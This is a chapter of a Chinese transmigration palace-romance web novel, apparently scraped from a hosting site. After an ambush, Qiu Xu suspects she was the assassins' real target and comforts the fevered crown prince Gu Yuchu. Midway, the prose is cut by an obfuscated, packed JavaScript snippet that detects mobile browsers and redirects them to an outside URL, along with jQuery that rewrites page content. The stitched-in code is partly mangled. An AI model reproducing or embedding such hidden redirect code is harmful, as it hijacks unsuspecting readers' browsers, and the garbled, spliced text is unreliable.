于是,秋绪一抬眸,便撞进顾玉初灼人的视线里,他的面色愈发不好,显然脑子里的念头已经不知发散到何处去了。 “但是殿下,我觉得你说得对!”秋绪万分真诚地鼓起掌来,不要钱的漂亮话直往外蹦,振聋发聩,“殿下于我而言,那就是最灵的护身符!在殿下身边,我要那护身玉珏有什么用?!” 顾玉初不知她这是什么路数,狐疑地打量一眼,当即笃定道:“你敷衍我。” “那哪儿能呢?”秋绪的杏眼圆睁,“我什么时候骗过殿下呀?刚我可都瞧见了!” 她比划着方才羽箭的破空之势,“箭簇飞来的时候,你眼疾手快把我往后一搂!” 又将手掌往下一劈,“还有那捅进窗户的长枪,咔咔两下就断成两截!” 然后再来个排山倒海,“刷刷刷!没一会儿,那些刺客全都被解决了!” 表演完毕,她双手合十感慨道:“感谢殿下救命之恩,否则我这会儿怕是已经凉透了。” 顾玉初眸光锐利,却明显因为她的知恩而心情尚可,嘴上还不饶人:“尽说些虚话。” 秋绪认真地凝视他的眼睛:“怎会是虚话?这样的庇佑,梁翊辰送的玉珏做得到吗?” 这一记回马枪杀得实在刁钻,他的眼睛都危险眯起:“这会儿倒是说得花团锦簇,那日若非孤及时出现,你怕是要直接收下那玉珏了。” “是你不听我解释!”提到这事儿,秋绪也不满地瞪他,半步不让,“我性子是优柔些,又不是是非不分,和梁家总不能完全翻脸吧?那势必就不能太过拂他心意……” 说到此处,简直越描越黑,解释竟比原委更暧昧,她赶紧停住,“总之,那时候我已经在委婉推辞了。” “不行。”顾玉初斩钉截铁地说,“他那脑子根本听不懂婉拒,你以后只能直接拒绝。” 秋绪一扬眉。 了不得,这骂得可真脏。 见他真不高兴了,她干脆欺身上前半步,伸手轻柔地在他脊背上摸摸给顺毛:“好好好,知道啦——” 她把尾音拖得绵长,偷摸抬眼瞄他,正对上他低垂审视的目光,不退反进地笑得狡黠:“别气啦,为了梁家人可不值当。” 日后与梁翊辰迟早要分道扬镳,断不能因局外人与顾玉初生出嫌隙。 顾玉初低垂眼睫,近在咫尺的盈盈笑靥尽数落在他静默的凝视里。 他们靠得极近,他下意识地屈臂抬腕,欲虚环住她的细腰轮廓。 还未来得及拢上去,便听见马车外阿山急切的呼喊:“殿下,殿下!随行的大人们在外头求见呢!” 顾玉初恍然惊觉,撩起车帘:“即刻便去。” 猝不及防间,秋绪望见车帘外横陈一地的尸体,当即一皱眉,迅速将视线移开。 顾玉初注意到她的回避,心下了然:“你就留在车里,等他们清理完外头再开窗。” 说罢,他再次扬手掀开车帘,敏捷跳落,玄色衣摆扬起又落下,只留一个匆匆离去的背影。 这才刚出京城不久就发生如此大事,顾玉初身为储君,自当要主持大局。 按照常理,太子出行仪仗威严,侍卫环伺如铜墙铁壁,刺客若想接近,实是天方夜谭。 然而,此次顾玉初是借着戴罪立功的名头出来,早就在帝后面前承诺轻装简行,刺客正是瞅准了这个空子,才得以有可乘之机。 真真儿是虎去威失,豺狼必伺。 马车里只剩秋绪一个人,她跌坐回软垫,其实回想起方才种种危机,仍是有些惊魂未定。 她的目光重新落在扎进车壁的羽箭上,凝视良久,伸出手握住箭簇,紧咬牙关,运足气力,才将那羽箭艰难拔出。 车壁上豁开的伤口都很狰狞。 这冷兵器,与她曾在博物馆橱窗里见过的文物截然不同,锻造工艺更加粗粝,三棱血槽锋锐无双,刃口还凝着暗色的脂膏。 若没猜错,这箭上应该淬了毒。 这是真正用于杀人的凶器。 如此毒箭,一旦刺入人体,唯有死路一条。 门帘微动,兰心与桃溪探身而入,一见她手中箭簇皆脸色骤变,急忙说道:“殿下,太危险了,还是交给奴处理吧。” 兰心将那毒箭小心包好,视作物证送了出去。而桃溪却是捧起秋绪的手,上上下下地检查她的身体:“殿下可是受了惊吓?有没有受伤?” 秋绪摇摇头,伸手抚上桃溪脸颊的血迹,轻轻叹息道:“我没事,倒是你们……” 早在刺客来袭时,她们二人便在马车周遭护驾,纵然二人武艺不凡,亦都有不同程度的擦伤,素色衣裙也已染得斑驳。 桃溪嘻嘻一笑,偏头避开她的指尖,怕脏了她的手:“没事的,殿下,不过是些皮外伤。” 秋绪瞧着有些心疼:“别笑了,现在赶紧处理伤口,免得感染了。” 兰心与桃溪自然依顺她的吩咐,轻咬着软巾,将沾着药的棉布摁上渗血的皮肉,连眉头疼得一皱的表情都整齐划一。 秋绪左看右看,轻声问道:“难道你们从很小的时候,就开始训练……” 桃溪展颜笑道:“殿下宽心,奴们五六岁就在暗卫营摔打了,这等程度的擦伤不算什么,早就习惯了。” “这叫什么话?伤痛就是伤痛,习惯了又不是不痛了。”秋绪心里焦急,哗啦啦开始翻她的笔记本,“且等着,我瞧瞧有什么药能暂时止痛,一会儿车子到城镇上,买些来给你们用。” 她们相视一望,眼底动容,叩谢道:“恭谢殿下垂怜。” 秋绪见状又哎哎哎地去拉她们:“谢这么隆重做什么?可别扯着伤口了。” 直到暮色四起,阿山方疾步而来,向秋绪传达消息:“殿下,原定的官道是走不成了,咱们准备绕道林州东岭。” 说着他用刀鞘在地面上粗粗勾勒出蜿蜒的路径,仔细讲解道,“换这条路去临阳。” “好,我知道了。”秋绪颔首,抬眸远远望了一眼车队前方。顾玉初尚未归来,想来是仍在与官员们商议要事。 接下来,马车一刻不停地飞驰两个时辰,掠过荒无人烟的旷野与树林,终于抵达一座宁静的小镇。 阿山前去打点,将镇上最大的客栈整个包下,侍卫把里外仔细搜查一番,确认安全无虞后,兰心和桃溪才护着秋绪踏入客栈。 这一路上,坑洼路面颠簸不断,晕车反胃早把秋绪折磨没了精气神儿。 她进房间后,昏昏沉沉地喝了些薄荷水,又尝了两口栗子糕,就再也吃不下了。 兰心点上安神香,掐着她的虎口给她顺气,可见她仍憔悴不堪,干脆服侍她快快洗漱完毕早些休息。 平日里秋绪睡眠不错,可今日明明身体已经很累,窗外还有雨声作助眠白噪音,她却一直辗转反侧,难以入眠,瞪着一双熊猫眼到半夜。 只要一闭眼,白日的生死一瞬便如走马灯般重现——那支长长羽箭,凌厉破空,从她眼前一闪而过,扎入车壁。 箭身在空气中铮然抖动的声响,如鬼魅般在她脑海中不断回荡。 秋绪不自觉揪紧胸口的棉被,盯着床帐顶,半晌幽幽地叹口气。 她有一种很奇怪的直觉。 ——箭矢破帘而过的轨迹,其实分毫不差对准的是她的太阳穴,那刺入窗户的长枪,也是冲她而来。 此次明面上虽为对太子的刺杀之举,可她总隐隐觉得,那潜藏在暗处的利刃,真正指向的却是自己。 这结论一出,连她自己都觉得荒唐。 她的政治身份复杂特殊,无形之中牵扯着多方的利益与纠葛,即便是太子欲取她性命,也不得不再三权衡。 更何况,近来她刻意低眉敛目装乖讨巧,刻意营造出一副楚楚可怜的弱势模样,寻常人自然很难将目光聚焦于她。 退一万步说,战场刀兵向来无眼,被流箭误伤误杀的事例不胜枚举,今日这事儿,极有可能只是一场阴差阳错的意外罢了。 怎么看都好像是她有被害妄想。 可若是真的呢? 莫不是她近日示弱太过,迟迟未能阻止太子计划,梁家准备放弃她? 不,不大可能。 梁家目前与她只是短暂失联,暗桩潜伏数年亦是常事,不急于一时。 于梁家而言,她仍有可利用之价值。 既然如此,究竟谁能从她的死亡中获取渔翁之利? 秋绪的脑海中不由自主浮现出那日在偏殿,梁皇后独见她的景象。阳光从窗棱穿过,洒在梁皇后的侧脸,一半明艳,一半幽晦。 异样感四起,可又如同雾中观花,她苦于没有足够的证据来支撑这朦胧的设想。 啊啊啊,太烧脑了!不想动脑子! 她抱着被褥滚来滚去,蛄蛹得像条搁浅的鱼,睡衣都皱成了咸菜干。 那种被隐匿于暗处之人锁定的感觉,如附骨之疽,仅仅是随便一想,便觉得有千万双阴眼在将她窥探。 顾玉初啊,这么多年他怎么熬过来的?难怪见天儿草木皆兵的,搁谁都得疑心病晚期。 此时,她忽然听见外间木门被推开。 吱呀一声,在寂静的夜里却如惊雷乍现,把仍沉浸在刺杀余悸中的秋绪吓得猛地坐直身子,杏眼圆睁,身体紧绷,随时准备一跃而起,夺路而逃。 然而,那人踏入屋内后,脚步声却沉稳从容,径直走向桌案,执起茶壶斟了一杯冷茶。 秋绪反应过来,哪有刺客会堂而皇之从大门入内,还有闲心品茶。 幸好,是他回来了。 她松口气,缓缓往后倒,背脊重新陷入软枕,而后一把将棉被拉高,罩住脑袋,试图在静谧中平复被惊吓到的心。 未久,顾玉初的脚步声由远及近。 他撩开寝室门帘,目光落在床榻上窝成一团的棉被包包,那长长的青丝还从被子边缘倾泻而出,像是芝麻汤圆漏了陷儿。 他并未言语,又听见外头轻轻的叩门声,便放下帘子,门开后阿山端着托盘侧身而入,怕惊扰秋绪睡觉,只压低声音说道: “今日事出突然,殿下应是强催内力了?唉,这可使不得,旧疾发作,殿下恐怕要饱受灼心之苦了……先吃点阳春面垫垫肚子,然后赶紧把药吃了吧。” 顾玉初默不作声,而从被窝里探出个脑袋的秋绪,却因阿山的话陷入思索。 听他所言,这十五岁便驰骋沙场的少年将军,难不成真不能动武了?难怪秋绪之前见他只能隐忍观战,应该是不得不隐于幕后了, 梁皇后可真是手段了得,给孕妇下毒,一药就药了俩,林皇后仙逝,又折了顾玉初这把利刃,和断其脊梁有何差别? 在秋绪漫无边际的胡思乱想间,外间的顾玉初已经有条不紊地在阿山的监督下用罢素面,又将苦涩的药汁一饮而尽。 而后是淋淋漓漓的浴桶水声,不多时,他周身蒸腾着雾气,脚步声已至寝室门前。 这会儿秋绪倒没有方才那闹腾的气势了,怂怂地把被子扯到鼻尖处,身子板板正正地贴着里侧床沿,恨不得卡进墙缝里。 她屏息凝神,耳朵高高竖起,仔细捕捉着顾玉初擦着发梢,踏入寝室的细碎声响。 哎呀,本来还以为他今晚不回来了,这是又要同睡一张床,多不好意思。 上回他一直在沉睡,不小心亲了便罢了,可这一次他清醒着,万一又滚到一处去……停停停,不能再想了。 秋绪闭眼装睡,脑子里乱七八糟地念着清静经,还得抽空祈祷,千万别露出什么破绽。 顾玉初一把掀开棉被,带起凉飕飕的细风,而后,他毫不迟疑地挤进她的被窝里。 秋绪梗着脖子纹丝不动,心脏却不争气地狂跳起来,简直比刚才受惊时还剧烈。 服了,她真是恨不得长出八只爪子把自己钉在床框上,到底为什么,一靠近他,身体就不受控制,真是让她颜面尽失! 被褥翻卷,顾玉初妥帖安置在外侧,躺下时长长舒了一口气,似乎一整日的疲惫终于找到宣泄口。 好的,他应该这就要睡了,问题不大。 怎知下一秒,顾玉初却骤然翻了个身,秋绪顿时觉得腰部被他臂膀锁紧,整个人不受控制地向后仰倒—— 脊骨贴在他前襟,曲线贴合得严丝合缝,她又稳稳地嵌进他的怀里。 秋绪:?殿下,你为何如此熟练? 秋绪:不对,等等,所以上次根本就是…… 周身的血液轰地直冲耳膜,她全身绷紧,还得强作松散,只能悄悄伸出一只手按住胸口,妄图将那份要命的悸动安抚住。 偏生顾玉初熟门熟路地埋首在她后脖颈的发丝间,温热的呼吸拂过碎发,带起细密的痒,让她心如乱麻。 但是,被这么一闹腾,方才那挥散不去的梦魇却渐渐淡了,取而代之的,是这个姿势带来的无尽安全感。 算了,再忍忍,等他睡着就好了。 秋绪正在给自己加油鼓劲,耳边却猝不及防传来顾玉初低沉的声音:“心里有人选了吗?今日是谁要害你?” 她愣住了,这是什么情况? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616240|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他怎么在这种时候问这么严肃的问题?搞得好像她满脑子只有黄色废料。 秋绪恼羞成怒地瞪他一眼,换来他不明所以的一挑眉。 果然,只有她在满心慌乱,顾玉初根本毫不在意,呼吸匀净平稳,全然不见半点男女之间的旖旎情思。 他只是自然地将她拥在怀里,那双手规规矩矩,没有越过雷池一步,清白得很。 秋绪悟了,原来她是一个抱枕。 不过他所说之事,恰是她方才反复思索的问题,难免又跟着他的思路走,然而在毫无头绪的情况下,怀疑谁都是闭眼挥拳。 于是她哼一声:“不知道!” 说罢,她又疑惑转眸看他侧颜:“你怎知是冲我来的?” 顾玉初嗤笑:“就这点人,可杀不死我。” 哇哦,这般狂妄之语,也就顾玉初能说得理直气壮,甚至连孤这自称都未带。 虽然嘲讽,却也不无道理。 原主的亲生父母皆为马革裹尸的武将,梁家却刻意将她养成个金银堆里的娇小姐,故而太子妃身无半点武艺实属天下皆知,至于太子殿下常常需要养病的传闻更是朝野不宣的秘密。 行此杀局,无论太子妃惊驾殒命,或是太子病躯再添沉疴,都是稳赚不赔的买卖。 指使者的身份昭然若揭。 然而,秋绪仍想不明白梁皇后的动机。 罢罢罢,要杀要剐随便她了,上位者的心思太难猜,总之和梁家人迟早反目成仇,中途再波折也不会改变结局。 而顾玉初能在这八方埋伏里活至今日,实在是命硬得令人发指。 方才阿山所言,让秋绪忽然想起原著里寥寥几笔带过的情节。 ——顾玉初十五岁时西征赤勒,少年将军初上战场便势如破竹,横扫敌营。然而,变故骤然而至,他忽遭赤勒骑兵埋伏反扑。 全军溃败时,亲卫拼死从尸山血海中将他刨出,铁甲下深可见骨的伤口被血冰冻住,手里还死死地攥着从身体里掰断的箭尾。 顾玉初昏迷月余,汤药难进,待他终于睁眼时,却得知胞姐珞笙公主已被帝后作为和亲筹码送往赤勒。 他大病未愈,赤足策马狂奔,送嫁队伍的尘烟却早已散入大漠。 显而易见,设局之人要林皇后的一双儿女彻底在这世上销声匿迹。 ——偏生他捡回一条命,养出最毒的求生欲。 此次战败,魏衡帝非但未降罪于他,反而力排众议,于重阳大典立他为储。 满朝称颂皇恩浩荡之日,他背着阵亡将士未寒的白骨,背着阿姊生死未卜的音讯,背着史官尚未落笔的骂名,用满是伤痕的手,接过东宫金册。 唯有将权柄攥在手中,爬得更高,才有机会将阿姊接回大魏。 可三年后,赤勒却传来公主的死讯,说是公主体弱,没能熬过那年深冬的一场风雹。 以往秋绪并不把这段放在心上,不过是俗套戏码,反派的成长总以至亲离世为养分,黑化也只是纸页间苍白单薄的角色设定,不值一提。 可是此刻,那个曾经只在文字中冰冷存在的人,正从身后抱着她。她能清晰地感知到他的心跳与呼吸,以及那清淡的苦药香气。 每一丝细节都在提醒着他的真实存在。 秋绪此时也明白了,和梁翊辰的那点小事就能让他如此动怒。 他失去至亲,硬生生活成这刺骨的模样,也难怪他对忠诚有着近乎苛刻的要求,守着自己人却像护食的狼般凶狠。 楚河汉界泾渭分明,他的世界不允许存在灰色的中间地带。 正恍惚间,顾玉初的吐息带起的热意拂过她的耳垂:“想什么呢?” 秋绪蓦然察觉异常。 他平日里就体温偏高,火炉似的,今日更是有些灼人的烫,就连声音也透着几分滞涩沙哑。 她翻过身,胳膊肘支起,伸手探上他的额角:“你是不是发烧了呀?” “没有,只是有点发热。”顾玉初攥着她的手,将她拥回怀里,语气像只懒怠的大猫,“你浑身凉玉似的,正好。” “噢。”秋绪乖巧地依言不动,眨了眨眼。 的确,每到秋冬时节,她的皮肤和手脚总是偏凉,怎么捂都暖不起来。而阿山说他旧疾灼心,抱着她估计能舒服些。 原来她是凉玉抱枕。 秋绪皱皱鼻子,小猫儿似的轻轻嗅嗅,也不知是否因为他体温比往日要高,连药味都更明显了些,还是说,今日用了双倍的药? 她抬眸问道:“喝了药也不管用吗?” 他似是疲惫不已,半阖着眸子看她:“有用,别操这个心。” 她终于问出盘旋在心头已久的问题:“到底是哪一味草药?这香气稀奇得很,我以前都没闻到过。” 他淡淡答道:“雪女泪。” 秋绪恍然大悟,正巧之前于太医提过这一味草药,珍贵至极,产自雪山山巅,气味清冽淡雅,与其他草药一同炖煮交融,才形成他身上这般独特的芬芳。 听这描述,感觉雪女泪类似于她曾经所知的天山雪莲,亏得他生在皇家,能供得起这般仙草,若在民间小户,谁能日复一日拿这续命。 她微微侧身,调整了个舒服的姿势,未察觉松散的领口滑落半寸。 顾玉初无意瞥见,原本准备移开的视线莫名停滞一瞬,秋绪觉出他目光落处不寻常,赶紧拢住衣襟,一抬眸却撞进他蒙着雾的漆黑瞳仁。 分明是烧得神思昏沉的人。 那目光却清明又滚烫。 对视半晌,她鬼使神差地伸手抚上他低垂的眼睫,阻断他的视线:“你好累了,还病着呢,赶紧睡吧。” 顾玉初难得顺从,闭目时横在她腰间的臂膀却紧了一紧:“不过一点发热,很快就好。” “是是是,我们太子殿下铁骨铮铮。”秋绪笑道,又想起许久以前的事情来,“其实我以前也生了很久的病,虽说早就过了孩童年纪,但父母兄姊仍将我当成需要呵护的小朋友。” 他静静地听着她细碎的回忆:“每次病得浑浑噩噩时,阿娘都会将我裹在被子里,轻轻拍着我的脊背……” 她伸手贴着他后心,温柔地轻拍两下,继续说道,“给我唱一首从小听到大的摇篮曲,就这样哄着哄着,烧灼的脏腑就静下来了。” “夜风轻摇竹枝床,一下一下落星霜,簌簌簌,沙沙响,花香漫过轻纱帐,睡吧睡吧,梦见月亮糖……” 绵密的冷雨倾覆天地,窗外水帘模糊。 而在这夜色中,她低哼着遥远故土的摇篮曲,似是在安抚枕边人的灵魂,又像是在慰藉自己难以言说的寥落与孤独。 其实她现在也失去一切了。 将她扛在肩头看星星的爸爸,抱着她唱摇篮曲的妈妈,在病床前温柔念故事的哥哥,还有不厌其烦给她梳小辫儿的姐姐,如今都化作午夜梦回心口的阵痛。 她独自一人在这陌生的异世界流浪,踩在生死边缘,不知前路在何方。 某一瞬间,她竟生出与顾玉初同病相怜的错觉。 怎会如此呢?他们之间,本就天差地别。 是雨太大了吗? 是雨太大了吧。